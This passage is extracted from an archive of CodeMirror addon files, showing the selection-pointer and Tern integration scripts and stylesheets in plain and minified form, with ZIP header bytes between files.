      cm.display.lineDiv.style.cursor = "";
    }
    if (val) {
      data = cm.state.selectionPointer = {
        value: typeof val == "string" ? val :
"default",
        mousemove: function(event) { mousemove(cm, event); },
        mouseout: function(event) { mouseout(cm, event); },
        windowScroll: function() { reset(cm); },
        rects: null,
        mouseX: null, mouseY: null,
        willUpdate: false
      };
      CodeMirror.on(cm.getWrapperElement(), "mousemove",
data.mousemove);
      CodeMirror.on(cm.getWrapperElement(), "mouseout",
data.mouseout);
      CodeMirror.on(window, "scroll", data.windowScroll);
      cm.on("cursorActivity", reset);
      cm.on("scroll", reset);
    }
  });

  function mousemove(cm, event) {
    var data = cm.state.selectionPointer;
    if (event.buttons == null ? event.which : event.buttons) {
      data.mouseX = data.mouseY = null;
    } else {
      data.mouseX = event.clientX;
      data.mouseY = event.clientY;
    }
    scheduleUpdate(cm);
  }

  function mouseout(cm, event) {
    if (!cm.getWrapperElement().contains(event.relatedTarget)) {
      var data = cm.state.selectionPointer;
      data.mouseX = data.mouseY = null;
      scheduleUpdate(cm);
    }
  }

  function reset(cm) {
    cm.state.selectionPointer.rects = null;
    scheduleUpdate(cm);
  }

  function scheduleUpdate(cm) {
    if (!cm.state.selectionPointer.willUpdate) {
      cm.state.selectionPointer.willUpdate = true;
      setTimeout(function() {
        update(cm);
        cm.state.selectionPointer.willUpdate = false;
      }, 50);
    }
  }

  function update(cm) {
    var data = cm.state.selectionPointer;
    if (!data) return;
    if (data.rects == null && data.mouseX != null) {
      data.rects = [];
      if (cm.somethingSelected()) {
        for (var sel = cm.display.selectionDiv.firstChild; sel; sel =
sel.nextSibling)
          data.rects.push(sel.getBoundingClientRect());
      }
    }
    var inside = false;
    if (data.mouseX != null) for (var i = 0; i < data.rects.length; i++)
{
      var rect = data.rects[i];
      if (rect.left <= data.mouseX && rect.right >=
data.mouseX &&
          rect.top <= data.mouseY && rect.bottom >=
data.mouseY)
        inside = true;
    }
    var cursor = inside ? data.value : "";
    if (cm.display.lineDiv.style.cursor != cursor)
      cm.display.lineDiv.style.cursor = cursor;
  }
});
PKA��[U�D�3codemirror/addon/selection/selection-pointer.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a,b){var
c=a.state.selectionPointer;(null==b.buttons?b.which:b.buttons)?c.mouseX=c.mouseY=null:(c.mouseX=b.clientX,c.mouseY=b.clientY),e(a)}function
c(a,b){if(!a.getWrapperElement().contains(b.relatedTarget)){var
c=a.state.selectionPointer;c.mouseX=c.mouseY=null,e(a)}}function
d(a){a.state.selectionPointer.rects=null,e(a)}function
e(a){a.state.selectionPointer.willUpdate||(a.state.selectionPointer.willUpdate=!0,setTimeout((function(){f(a),a.state.selectionPointer.willUpdate=!1}),50))}function
f(a){var
b=a.state.selectionPointer;if(b){if(null==b.rects&&null!=b.mouseX&&(b.rects=[],a.somethingSelected()))for(var
c=a.display.selectionDiv.firstChild;c;c=c.nextSibling)b.rects.push(c.getBoundingClientRect());var
d=!1;if(null!=b.mouseX)for(var e=0;e<b.rects.length;e++){var
f=b.rects[e];f.left<=b.mouseX&&f.right>=b.mouseX&&f.top<=b.mouseY&&f.bottom>=b.mouseY&&(d=!0)}var
g=d?b.value:"";a.display.lineDiv.style.cursor!=g&&(a.display.lineDiv.style.cursor=g)}}a.defineOption("selectionPointer",!1,(function(e,f){var
g=e.state.selectionPointer;g&&(a.off(e.getWrapperElement(),"mousemove",g.mousemove),a.off(e.getWrapperElement(),"mouseout",g.mouseout),a.off(window,"scroll",g.windowScroll),e.off("cursorActivity",d),e.off("scroll",d),e.state.selectionPointer=null,e.display.lineDiv.style.cursor=""),f&&(g=e.state.selectionPointer={value:"string"==typeof
f?f:"default",mousemove:function(a){b(e,a)},mouseout:function(a){c(e,a)},windowScroll:function(){d(e)},rects:null,mouseX:null,mouseY:null,willUpdate:!1},a.on(e.getWrapperElement(),"mousemove",g.mousemove),a.on(e.getWrapperElement(),"mouseout",g.mouseout),a.on(window,"scroll",g.windowScroll),e.on("cursorActivity",d),e.on("scroll",d))}))}));PKA��[�J�jPPcodemirror/addon/tern/tern.cssnu�[���.CodeMirror-Tern-completion
{
  padding-left: 22px;
  position: relative;
  line-height: 1.5;
}
.CodeMirror-Tern-completion:before {
  position: absolute;
  left: 2px;
  bottom: 2px;
  border-radius: 50%;
  font-size: 12px;
  font-weight: bold;
  height: 15px;
  width: 15px;
  line-height: 16px;
  text-align: center;
  color: white;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
}
.CodeMirror-Tern-completion-unknown:before {
  content: "?";
  background: #4bb;
}
.CodeMirror-Tern-completion-object:before {
  content: "O";
  background: #77c;
}
.CodeMirror-Tern-completion-fn:before {
  content: "F";
  background: #7c7;
}
.CodeMirror-Tern-completion-array:before {
  content: "A";
  background: #c66;
}
.CodeMirror-Tern-completion-number:before {
  content: "1";
  background: #999;
}
.CodeMirror-Tern-completion-string:before {
  content: "S";
  background: #999;
}
.CodeMirror-Tern-completion-bool:before {
  content: "B";
  background: #999;
}

.CodeMirror-Tern-completion-guess {
  color: #999;
}

.CodeMirror-Tern-tooltip {
  border: 1px solid silver;
  border-radius: 3px;
  color: #444;
  padding: 2px 5px;
  font-size: 90%;
  font-family: monospace;
  background-color: white;
  white-space: pre-wrap;

  max-width: 40em;
  position: absolute;
  z-index: 10;
  -webkit-box-shadow: 2px 3px 5px rgba(0,0,0,.2);
  -moz-box-shadow: 2px 3px 5px rgba(0,0,0,.2);
  box-shadow: 2px 3px 5px rgba(0,0,0,.2);

  transition: opacity 1s;
  -moz-transition: opacity 1s;
  -webkit-transition: opacity 1s;
  -o-transition: opacity 1s;
  -ms-transition: opacity 1s;
}

.CodeMirror-Tern-hint-doc {
  max-width: 25em;
  margin-top: -3px;
}

.CodeMirror-Tern-fname { color: black; }
.CodeMirror-Tern-farg { color: #70a; }
.CodeMirror-Tern-farg-current { text-decoration: underline; }
.CodeMirror-Tern-type { color: #07c; }
.CodeMirror-Tern-fhint-guess { opacity: .7; }
PKA��[Б��'b'bcodemirror/addon/tern/tern.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// Glue code between CodeMirror and Tern.
//
// Create a CodeMirror.TernServer to wrap an actual Tern server,
// register open documents (CodeMirror.Doc instances) with it, and
// call its methods to activate the assisting functions that Tern
// provides.
//
// Options supported (all optional):
// * defs: An array of JSON definition data structures.
// * plugins: An object mapping plugin names to configuration
//   options.
// * getFile: A function(name, c) that can be used to access files in
//   the project that haven't been loaded yet. Simply do c(null) to
//   indicate that a file is not available.
// * fileFilter: A function(value, docName, doc) that will be applied
//   to documents before passing them on to Tern.
// * switchToDoc: A function(name, doc) that should, when providing a
//   multi-file view, switch the view or focus to the named file.
// * showError: A function(editor, message) that can be used to
//   override the way errors are displayed.
// * completionTip: Customize the content in tooltips for completions.
//   Is passed a single argument—the completion's data as returned
by
//   Tern—and may return a string, DOM node, or null to indicate that
//   no tip should be shown. By default the docstring is shown.
// * typeTip: Like completionTip, but for the tooltips shown for type
//   queries.
// * responseFilter: A function(doc, query, request, error, data) that
//   will be applied to the Tern responses before treating them
//
//
// It is possible to run the Tern server in a web worker by specifying
// these additional options:
// * useWorker: Set to true to enable web worker mode. You'll probably
//   want to feature detect the actual value you use here, for example
//   !!window.Worker.
// * workerScript: The main script of the worker. Point this to
//   wherever you are hosting worker.js from this directory.
// * workerDeps: An array of paths pointing (relative to workerScript)
//   to the Acorn and Tern libraries and any Tern plugins you want to
//   load. Or, if you minified those into a single script and included
//   them in the workerScript, simply leave this undefined.

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";
  // declare global: tern

  CodeMirror.TernServer = function(options) {
    var self = this;
    this.options = options || {};
    var plugins = this.options.plugins || (this.options.plugins = {});
    if (!plugins.doc_comment) plugins.doc_comment = true;
    this.docs = Object.create(null);
    if (this.options.useWorker) {
      this.server = new WorkerServer(this);
    } else {
      this.server = new tern.Server({
        getFile: function(name, c) { return getFile(self, name, c); },
        async: true,
        defs: this.options.defs || [],
        plugins: plugins
      });
    }
    this.trackChange = function(doc, change) { trackChange(self, doc,
change); };

    this.cachedArgHints = null;
    this.activeArgHints = null;
    this.jumpStack = [];

    this.getHint = function(cm, c) { return hint(self, cm, c); };
    this.getHint.async = true;
  };

  CodeMirror.TernServer.prototype = {
    addDoc: function(name, doc) {
      var data = {doc: doc, name: name, changed: null};
      this.server.addFile(name, docValue(this, data));
      CodeMirror.on(doc, "change", this.trackChange);
      return this.docs[name] = data;
    },

    delDoc: function(id) {
      var found = resolveDoc(this, id);
      if (!found) return;
      CodeMirror.off(found.doc, "change", this.trackChange);
      delete this.docs[found.name];
      this.server.delFile(found.name);
    },

    hideDoc: function(id) {
      closeArgHints(this);
      var found = resolveDoc(this, id);
      if (found && found.changed) sendDoc(this, found);
    },

    complete: function(cm) {
      cm.showHint({hint: this.getHint});
    },

    showType: function(cm, pos, c) { showContextInfo(this, cm, pos,
"type", c); },

    showDocs: function(cm, pos, c) { showContextInfo(this, cm, pos,
"documentation", c); },

    updateArgHints: function(cm) { updateArgHints(this, cm); },

    jumpToDef: function(cm) { jumpToDef(this, cm); },

    jumpBack: function(cm) { jumpBack(this, cm); },

    rename: function(cm) { rename(this, cm); },

    selectName: function(cm) { selectName(this, cm); },

    request: function (cm, query, c, pos) {
      var self = this;
      var doc = findDoc(this, cm.getDoc());
      var request = buildRequest(this, doc, query, pos);
      var extraOptions = request.query && this.options.queryOptions
&& this.options.queryOptions[request.query.type]
      if (extraOptions) for (var prop in extraOptions) request.query[prop]
= extraOptions[prop];

      this.server.request(request, function (error, data) {
        if (!error && self.options.responseFilter)
          data = self.options.responseFilter(doc, query, request, error,
data);
        c(error, data);
      });
    },

    destroy: function () {
      closeArgHints(this)
      if (this.worker) {
        this.worker.terminate();
        this.worker = null;
      }
    }
  };

  var Pos = CodeMirror.Pos;
  var cls = "CodeMirror-Tern-";
  var bigDoc = 250;

  function getFile(ts, name, c) {
    var buf = ts.docs[name];
    if (buf)
      c(docValue(ts, buf));
    else if (ts.options.getFile)
      ts.options.getFile(name, c);
    else
      c(null);
  }

  function findDoc(ts, doc, name) {
    for (var n in ts.docs) {
      var cur = ts.docs[n];
      if (cur.doc == doc) return cur;
    }
    if (!name) for (var i = 0;; ++i) {
      n = "[doc" + (i || "") + "]";
      if (!ts.docs[n]) { name = n; break; }
    }
    return ts.addDoc(name, doc);
  }

  function resolveDoc(ts, id) {
    if (typeof id == "string") return ts.docs[id];
    if (id instanceof CodeMirror) id = id.getDoc();
    if (id instanceof CodeMirror.Doc) return findDoc(ts, id);
  }

  function trackChange(ts, doc, change) {
    var data = findDoc(ts, doc);

    var argHints = ts.cachedArgHints;
    if (argHints && argHints.doc == doc &&
cmpPos(argHints.start, change.to) >= 0)
      ts.cachedArgHints = null;

    var changed = data.changed;
    if (changed == null)
      data.changed = changed = {from: change.from.line, to:
change.from.line};
    var end = change.from.line + (change.text.length - 1);
    if (change.from.line < changed.to) changed.to = changed.to -
(change.to.line - end);
    if (end >= changed.to) changed.to = end + 1;
    if (changed.from > change.from.line) changed.from =
change.from.line;

    if (doc.lineCount() > bigDoc && change.to - changed.from
> 100) setTimeout(function() {
      if (data.changed && data.changed.to - data.changed.from >
100) sendDoc(ts, data);
    }, 200);
  }

  function sendDoc(ts, doc) {
    ts.server.request({files: [{type: "full", name: doc.name,
text: docValue(ts, doc)}]}, function(error) {
      if (error) window.console.error(error);
      else doc.changed = null;
    });
  }

  // Completion

  function hint(ts, cm, c) {
    ts.request(cm, {type: "completions", types: true, docs: true,
urls: true}, function(error, data) {
      if (error) return showError(ts, cm, error);
      var completions = [], after = "";
      var from = data.start, to = data.end;
      if (cm.getRange(Pos(from.line, from.ch - 2), from) ==
"[\"" &&
          cm.getRange(to, Pos(to.line, to.ch + 2)) != "\"]")
        after = "\"]";

      for (var i = 0; i < data.completions.length; ++i) {
        var completion = data.completions[i], className =
typeToIcon(completion.type);
        if (data.guess) className += " " + cls +
"guess";
        completions.push({text: completion.name + after,
                          displayText: completion.displayName ||
completion.name,
                          className: className,
                          data: completion});
      }

      var obj = {from: from, to: to, list: completions};
      var tooltip = null;
      CodeMirror.on(obj, "close", function() { remove(tooltip);
});
      CodeMirror.on(obj, "update", function() { remove(tooltip);
});
      CodeMirror.on(obj, "select", function(cur, node) {
        remove(tooltip);
        var content = ts.options.completionTip ?
ts.options.completionTip(cur.data) : cur.data.doc;
        if (content) {
          tooltip =
makeTooltip(node.parentNode.getBoundingClientRect().right +
window.pageXOffset,
                                node.getBoundingClientRect().top +
window.pageYOffset, content, cm);
          tooltip.className += " " + cls + "hint-doc";
        }
      });
      c(obj);
    });
  }

  function typeToIcon(type) {
    var suffix;
    if (type == "?") suffix = "unknown";
    else if (type == "number" || type == "string" ||
type == "bool") suffix = type;
    else if (/^fn\(/.test(type)) suffix = "fn";
    else if (/^\[/.test(type)) suffix = "array";
    else suffix = "object";
    return cls + "completion " + cls + "completion-" +
suffix;
  }

  // Type queries

  function showContextInfo(ts, cm, pos, queryName, c) {
    ts.request(cm, queryName, function(error, data) {
      if (error) return showError(ts, cm, error);
      if (ts.options.typeTip) {
        var tip = ts.options.typeTip(data);
      } else {
        var tip = elt("span", null, elt("strong", null,
data.type || "not found"));
        if (data.doc)
          tip.appendChild(document.createTextNode(" — " +
data.doc));
        if (data.url) {
          tip.appendChild(document.createTextNode(" "));
          var child = tip.appendChild(elt("a", null,
"[docs]"));
          child.href = data.url;
          child.target = "_blank";
        }
      }
      tempTooltip(cm, tip, ts);
      if (c) c();
    }, pos);
  }

  // Maintaining argument hints

  function updateArgHints(ts, cm) {
    closeArgHints(ts);

    if (cm.somethingSelected()) return;
    var state = cm.getTokenAt(cm.getCursor()).state;
    var inner = CodeMirror.innerMode(cm.getMode(), state);
    if (inner.mode.name != "javascript") return;
    var lex = inner.state.lexical;
    if (lex.info != "call") return;

    var ch, argPos = lex.pos || 0, tabSize =
cm.getOption("tabSize");
    for (var line = cm.getCursor().line, e = Math.max(0, line - 9), found =
false; line >= e; --line) {
      var str = cm.getLine(line), extra = 0;
      for (var pos = 0;;) {
        var tab = str.indexOf("\t", pos);
        if (tab == -1) break;
        extra += tabSize - (tab + extra) % tabSize - 1;
        pos = tab + 1;
      }
      ch = lex.column - extra;
      if (str.charAt(ch) == "(") {found = true; break;}
    }
    if (!found) return;

    var start = Pos(line, ch);
    var cache = ts.cachedArgHints;
    if (cache && cache.doc == cm.getDoc() && cmpPos(start,
cache.start) == 0)
      return showArgHints(ts, cm, argPos);

    ts.request(cm, {type: "type", preferFunction: true, end:
start}, function(error, data) {
      if (error || !data.type || !(/^fn\(/).test(data.type)) return;
      ts.cachedArgHints = {
        start: start,
        type: parseFnType(data.type),
        name: data.exprName || data.name || "fn",
        guess: data.guess,
        doc: cm.getDoc()
      };
      showArgHints(ts, cm, argPos);
    });
  }

  function showArgHints(ts, cm, pos) {
    closeArgHints(ts);

    var cache = ts.cachedArgHints, tp = cache.type;
    var tip = elt("span", cache.guess ? cls +
"fhint-guess" : null,
                  elt("span", cls + "fname",
cache.name), "(");
    for (var i = 0; i < tp.args.length; ++i) {
      if (i) tip.appendChild(document.createTextNode(", "));
      var arg = tp.args[i];
      tip.appendChild(elt("span", cls + "farg" + (i ==
pos ? " " + cls + "farg-current" : ""),
arg.name || "?"));
      if (arg.type != "?") {
        tip.appendChild(document.createTextNode(":\u00a0"));
        tip.appendChild(elt("span", cls + "type",
arg.type));
      }
    }
    tip.appendChild(document.createTextNode(tp.rettype ? ")
->\u00a0" : ")"));
    if (tp.rettype) tip.appendChild(elt("span", cls +
"type", tp.rettype));
    var place = cm.cursorCoords(null, "page");
    var tooltip = ts.activeArgHints = makeTooltip(place.right + 1,
place.bottom, tip, cm)
    setTimeout(function() {
      tooltip.clear = onEditorActivity(cm, function() {
        if (ts.activeArgHints == tooltip) closeArgHints(ts) })
    }, 20)
  }

  function parseFnType(text) {
    var args = [], pos = 3;

    function skipMatching(upto) {
      var depth = 0, start = pos;
      for (;;) {
        var next = text.charAt(pos);
        if (upto.test(next) && !depth) return text.slice(start,
pos);
        if (/[{\[\(]/.test(next)) ++depth;
        else if (/[}\]\)]/.test(next)) --depth;
        ++pos;
      }
    }

    // Parse arguments
    if (text.charAt(pos) != ")") for (;;) {
      var name = text.slice(pos).match(/^([^, \(\[\{]+): /);
      if (name) {
        pos += name[0].length;
        name = name[1];
      }
      args.push({name: name, type: skipMatching(/[\),]/)});
      if (text.charAt(pos) == ")") break;
      pos += 2;
    }

    var rettype = text.slice(pos).match(/^\) -> (.*)$/);

    return {args: args, rettype: rettype && rettype[1]};
  }

  // Moving to the definition of something

  function jumpToDef(ts, cm) {
    function inner(varName) {
      var req = {type: "definition", variable: varName || null};
      var doc = findDoc(ts, cm.getDoc());
      ts.server.request(buildRequest(ts, doc, req), function(error, data) {
        if (error) return showError(ts, cm, error);
        if (!data.file && data.url) { window.open(data.url);
return; }

        if (data.file) {
          var localDoc = ts.docs[data.file], found;
          if (localDoc && (found = findContext(localDoc.doc,
data))) {
            ts.jumpStack.push({file: doc.name,
                               start: cm.getCursor("from"),
                               end: cm.getCursor("to")});
            moveTo(ts, doc, localDoc, found.start, found.end);
            return;
          }
        }
        showError(ts, cm, "Could not find a definition.");
      });
    }

    if (!atInterestingExpression(cm))
      dialog(cm, "Jump to variable", function(name) { if (name)
inner(name); });
    else
      inner();
  }

  function jumpBack(ts, cm) {
    var pos = ts.jumpStack.pop(), doc = pos && ts.docs[pos.file];
    if (!doc) return;
    moveTo(ts, findDoc(ts, cm.getDoc()), doc, pos.start, pos.end);
  }

  function moveTo(ts, curDoc, doc, start, end) {
    doc.doc.setSelection(start, end);
    if (curDoc != doc && ts.options.switchToDoc) {
      closeArgHints(ts);
      ts.options.switchToDoc(doc.name, doc.doc);
    }
  }

  // The {line,ch} representation of positions makes this rather awkward.
  function findContext(doc, data) {
    var before = data.context.slice(0,
data.contextOffset).split("\n");
    var startLine = data.start.line - (before.length - 1);
    var start = Pos(startLine, (before.length == 1 ? data.start.ch :
doc.getLine(startLine).length) - before[0].length);

    var text = doc.getLine(startLine).slice(start.ch);
    for (var cur = startLine + 1; cur < doc.lineCount() &&
text.length < data.context.length; ++cur)
      text += "\n" + doc.getLine(cur);
    if (text.slice(0, data.context.length) == data.context) return data;

    var cursor = doc.getSearchCursor(data.context, 0, false);
    var nearest, nearestDist = Infinity;
    while (cursor.findNext()) {
      var from = cursor.from(), dist = Math.abs(from.line - start.line) *
10000;
      if (!dist) dist = Math.abs(from.ch - start.ch);
      if (dist < nearestDist) { nearest = from; nearestDist = dist; }
    }
    if (!nearest) return null;

    if (before.length == 1)
      nearest.ch += before[0].length;
    else
      nearest = Pos(nearest.line + (before.length - 1),
before[before.length - 1].length);
    if (data.start.line == data.end.line)
      var end = Pos(nearest.line, nearest.ch + (data.end.ch -
data.start.ch));
    else
      var end = Pos(nearest.line + (data.end.line - data.start.line),
data.end.ch);
    return {start: nearest, end: end};
  }

  function atInterestingExpression(cm) {
    var pos = cm.getCursor("end"), tok = cm.getTokenAt(pos);
    if (tok.start < pos.ch && tok.type == "comment")
return false;
    return /[\w)\]]/.test(cm.getLine(pos.line).slice(Math.max(pos.ch - 1,
0), pos.ch + 1));
  }

  // Variable renaming

  function rename(ts, cm) {
    var token = cm.getTokenAt(cm.getCursor());
    if (!/\w/.test(token.string)) return showError(ts, cm, "Not at a
variable");
    dialog(cm, "New name for " + token.string, function(newName)
{
      ts.request(cm, {type: "rename", newName: newName, fullDocs:
true}, function(error, data) {
        if (error) return showError(ts, cm, error);
        applyChanges(ts, data.changes);
      });
    });
  }

  function selectName(ts, cm) {
    var name = findDoc(ts, cm.doc).name;
    ts.request(cm, {type: "refs"}, function(error, data) {
      if (error) return showError(ts, cm, error);
      var ranges = [], cur = 0;
      var curPos = cm.getCursor();
      for (var i = 0; i < data.refs.length; i++) {
        var ref = data.refs[i];
        if (ref.file == name) {
          ranges.push({anchor: ref.start, head: ref.end});
          if (cmpPos(curPos, ref.start) >= 0 && cmpPos(curPos,
ref.end) <= 0)
            cur = ranges.length - 1;
        }
      }
      cm.setSelections(ranges, cur);
    });
  }

  var nextChangeOrig = 0;
  function applyChanges(ts, changes) {
    var perFile = Object.create(null);
    for (var i = 0; i < changes.length; ++i) {
      var ch = changes[i];
      (perFile[ch.file] || (perFile[ch.file] = [])).push(ch);
    }
    for (var file in perFile) {
      var known = ts.docs[file], chs = perFile[file];;
      if (!known) continue;
      chs.sort(function(a, b) { return cmpPos(b.start, a.start); });
      var origin = "*rename" + (++nextChangeOrig);
      for (var i = 0; i < chs.length; ++i) {
        var ch = chs[i];
        known.doc.replaceRange(ch.text, ch.start, ch.end, origin);
      }
    }
  }

  // Generic request-building helper

  function buildRequest(ts, doc, query, pos) {
    var files = [], offsetLines = 0, allowFragments = !query.fullDocs;
    if (!allowFragments) delete query.fullDocs;
    if (typeof query == "string") query = {type: query};
    query.lineCharPositions = true;
    if (query.end == null) {
      query.end = pos || doc.doc.getCursor("end");
      if (doc.doc.somethingSelected())
        query.start = doc.doc.getCursor("start");
    }
    var startPos = query.start || query.end;

    if (doc.changed) {
      if (doc.doc.lineCount() > bigDoc && allowFragments !==
false &&
          doc.changed.to - doc.changed.from < 100 &&
          doc.changed.from <= startPos.line && doc.changed.to
> query.end.line) {
        files.push(getFragmentAround(doc, startPos, query.end));
        query.file = "#0";
        var offsetLines = files[0].offsetLines;
        if (query.start != null) query.start = Pos(query.start.line -
-offsetLines, query.start.ch);
        query.end = Pos(query.end.line - offsetLines, query.end.ch);
      } else {
        files.push({type: "full",
                    name: doc.name,
                    text: docValue(ts, doc)});
        query.file = doc.name;
        doc.changed = null;
      }
    } else {
      query.file = doc.name;
    }
    for (var name in ts.docs) {
      var cur = ts.docs[name];
      if (cur.changed && cur != doc) {
        files.push({type: "full", name: cur.name, text:
docValue(ts, cur)});
        cur.changed = null;
      }
    }

    return {query: query, files: files};
  }

  function getFragmentAround(data, start, end) {
    var doc = data.doc;
    var minIndent = null, minLine = null, endLine, tabSize = 4;
    for (var p = start.line - 1, min = Math.max(0, p - 50); p >= min;
--p) {
      var line = doc.getLine(p), fn = line.search(/\bfunction\b/);
      if (fn < 0) continue;
      var indent = CodeMirror.countColumn(line, null, tabSize);
      if (minIndent != null && minIndent <= indent) continue;
      minIndent = indent;
      minLine = p;
    }
    if (minLine == null) minLine = min;
    var max = Math.min(doc.lastLine(), end.line + 20);
    if (minIndent == null || minIndent ==
CodeMirror.countColumn(doc.getLine(start.line), null, tabSize))
      endLine = max;
    else for (endLine = end.line + 1; endLine < max; ++endLine) {
      var indent = CodeMirror.countColumn(doc.getLine(endLine), null,
tabSize);
      if (indent <= minIndent) break;
    }
    var from = Pos(minLine, 0);

    return {type: "part",
            name: data.name,
            offsetLines: from.line,
            text: doc.getRange(from, Pos(endLine, end.line == endLine ?
null : 0))};
  }

  // Generic utilities

  var cmpPos = CodeMirror.cmpPos;

  function elt(tagname, cls /*, ... elts*/) {
    var e = document.createElement(tagname);
    if (cls) e.className = cls;
    for (var i = 2; i < arguments.length; ++i) {
      var elt = arguments[i];
      if (typeof elt == "string") elt =
document.createTextNode(elt);
      e.appendChild(elt);
    }
    return e;
  }

  function dialog(cm, text, f) {
    if (cm.openDialog)
      cm.openDialog(text + ": <input type=text>", f);
    else
      f(prompt(text, ""));
  }

  // Tooltips

  function tempTooltip(cm, content, ts) {
    if (cm.state.ternTooltip) remove(cm.state.ternTooltip);
    var where = cm.cursorCoords();
    var tip = cm.state.ternTooltip = makeTooltip(where.right + 1,
where.bottom, content, cm);
    function maybeClear() {
      old = true;
      if (!mouseOnTip) clear();
    }
    function clear() {
      cm.state.ternTooltip = null;
      if (tip.parentNode) fadeOut(tip)
      clearActivity()
    }
    var mouseOnTip = false, old = false;
    CodeMirror.on(tip, "mousemove", function() { mouseOnTip =
true; });
    CodeMirror.on(tip, "mouseout", function(e) {
      var related = e.relatedTarget || e.toElement
      if (!related || !CodeMirror.contains(tip, related)) {
        if (old) clear();
        else mouseOnTip = false;
      }
    });
    setTimeout(maybeClear, ts.options.hintDelay ? ts.options.hintDelay :
1700);
    var clearActivity = onEditorActivity(cm, clear)
  }

  function onEditorActivity(cm, f) {
    cm.on("cursorActivity", f)
    cm.on("blur", f)
    cm.on("scroll", f)
    cm.on("setDoc", f)
    return function() {
      cm.off("cursorActivity", f)
      cm.off("blur", f)
      cm.off("scroll", f)
      cm.off("setDoc", f)
    }
  }

  function makeTooltip(x, y, content, cm) {
    var node = elt("div", cls + "tooltip", content);
    node.style.left = x + "px";
    node.style.top = y + "px";
    var container = ((cm.options || {}).hintOptions || {}).container ||
document.body;
    container.appendChild(node);
    return node;
  }

  function remove(node) {
    var p = node && node.parentNode;
    if (p) p.removeChild(node);
  }

  function fadeOut(tooltip) {
    tooltip.style.opacity = "0";
    setTimeout(function() { remove(tooltip); }, 1100);
  }

  function showError(ts, cm, msg) {
    if (ts.options.showError)
      ts.options.showError(cm, msg);
    else
      tempTooltip(cm, String(msg), ts);
  }

  function closeArgHints(ts) {
    if (ts.activeArgHints) {
      if (ts.activeArgHints.clear) ts.activeArgHints.clear()
      remove(ts.activeArgHints)
      ts.activeArgHints = null
    }
  }

  function docValue(ts, doc) {
    var val = doc.doc.getValue();
    if (ts.options.fileFilter) val = ts.options.fileFilter(val, doc.name,
doc.doc);
    return val;
  }

  // Worker wrapper

  function WorkerServer(ts) {
    var worker = ts.worker = new Worker(ts.options.workerScript);
    worker.postMessage({type: "init",
                        defs: ts.options.defs,
                        plugins: ts.options.plugins,
                        scripts: ts.options.workerDeps});
    var msgId = 0, pending = {};

    function send(data, c) {
      if (c) {
        data.id = ++msgId;
        pending[msgId] = c;
      }
      worker.postMessage(data);
    }
    worker.onmessage = function(e) {
      var data = e.data;
      if (data.type == "getFile") {
        getFile(ts, data.name, function(err, text) {
          send({type: "getFile", err: String(err), text: text,
id: data.id});
        });
      } else if (data.type == "debug") {
        window.console.log(data.message);
      } else if (data.id && pending[data.id]) {
        pending[data.id](data.err, data.body);
        delete pending[data.id];
      }
    };
    worker.onerror = function(e) {
      for (var id in pending) pending[id](e);
      pending = {};
    };

    this.addFile = function(name, text) { send({type: "add",
name: name, text: text}); };
    this.delFile = function(name) { send({type: "del", name:
name}); };
    this.request = function(body, c) { send({type: "req", body:
body}, c); };
  }
});
PKA��[�Z�(("codemirror/addon/tern/tern.min.cssnu�[���.CodeMirror-Tern-completion{padding-left:22px;position:relative;line-height:1.5}.CodeMirror-Tern-completion:before{position:absolute;left:2px;bottom:2px;border-radius:50%;font-size:12px;font-weight:700;height:15px;width:15px;line-height:16px;text-align:center;color:#fff;-moz-box-sizing:border-box;box-sizing:border-box}.CodeMirror-Tern-completion-unknown:before{content:"?";background:#4bb}.CodeMirror-Tern-completion-object:before{content:"O";background:#77c}.CodeMirror-Tern-completion-fn:before{content:"F";background:#7c7}.CodeMirror-Tern-completion-array:before{content:"A";background:#c66}.CodeMirror-Tern-completion-number:before{content:"1";background:#999}.CodeMirror-Tern-completion-string:before{content:"S";background:#999}.CodeMirror-Tern-completion-bool:before{content:"B";background:#999}.CodeMirror-Tern-completion-guess{color:#999}.CodeMirror-Tern-tooltip{border:1px
solid silver;border-radius:3px;color:#444;padding:2px
5px;font-size:90%;font-family:monospace;background-color:#fff;white-space:pre-wrap;max-width:40em;position:absolute;z-index:10;-webkit-box-shadow:2px
3px 5px rgba(0,0,0,.2);-moz-box-shadow:2px 3px 5px
rgba(0,0,0,.2);box-shadow:2px 3px 5px rgba(0,0,0,.2);transition:opacity
1s;-moz-transition:opacity 1s;-webkit-transition:opacity
1s;-o-transition:opacity 1s;-ms-transition:opacity
1s}.CodeMirror-Tern-hint-doc{max-width:25em;margin-top:-3px}.CodeMirror-Tern-fname{color:#000}.CodeMirror-Tern-farg{color:#70a}.CodeMirror-Tern-farg-current{text-decoration:underline}.CodeMirror-Tern-type{color:#07c}.CodeMirror-Tern-fhint-guess{opacity:.7}PKA��[,���u.u.!codemirror/addon/tern/tern.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a,b,c){var
d=a.docs[b];d?c(F(a,d)):a.options.getFile?a.options.getFile(b,c):c(null)}function
c(a,b,c){for(var d in a.docs){var e=a.docs[d];if(e.doc==b)return
e}if(!c)for(var
f=0;;++f)if(d="[doc"+(f||"")+"]",!a.docs[d]){c=d;break}return
a.addDoc(c,b)}function d(b,d){return"string"==typeof
d?b.docs[d]:(d instanceof a&&(d=d.getDoc()),d instanceof
a.Doc?c(b,d):void 0)}function e(a,b,d){var
e=c(a,b),g=a.cachedArgHints;g&&g.doc==b&&L(g.start,d.to)>=0&&(a.cachedArgHints=null);var
h=e.changed;null==h&&(e.changed=h={from:d.from.line,to:d.from.line});var
i=d.from.line+(d.text.length-1);d.from.line<h.to&&(h.to=h.to-(d.to.line-i)),i>=h.to&&(h.to=i+1),h.from>d.from.line&&(h.from=d.from.line),b.lineCount()>J&&d.to-h.from>100&&setTimeout((function(){e.changed&&e.changed.to-e.changed.from>100&&f(a,e)}),200)}function
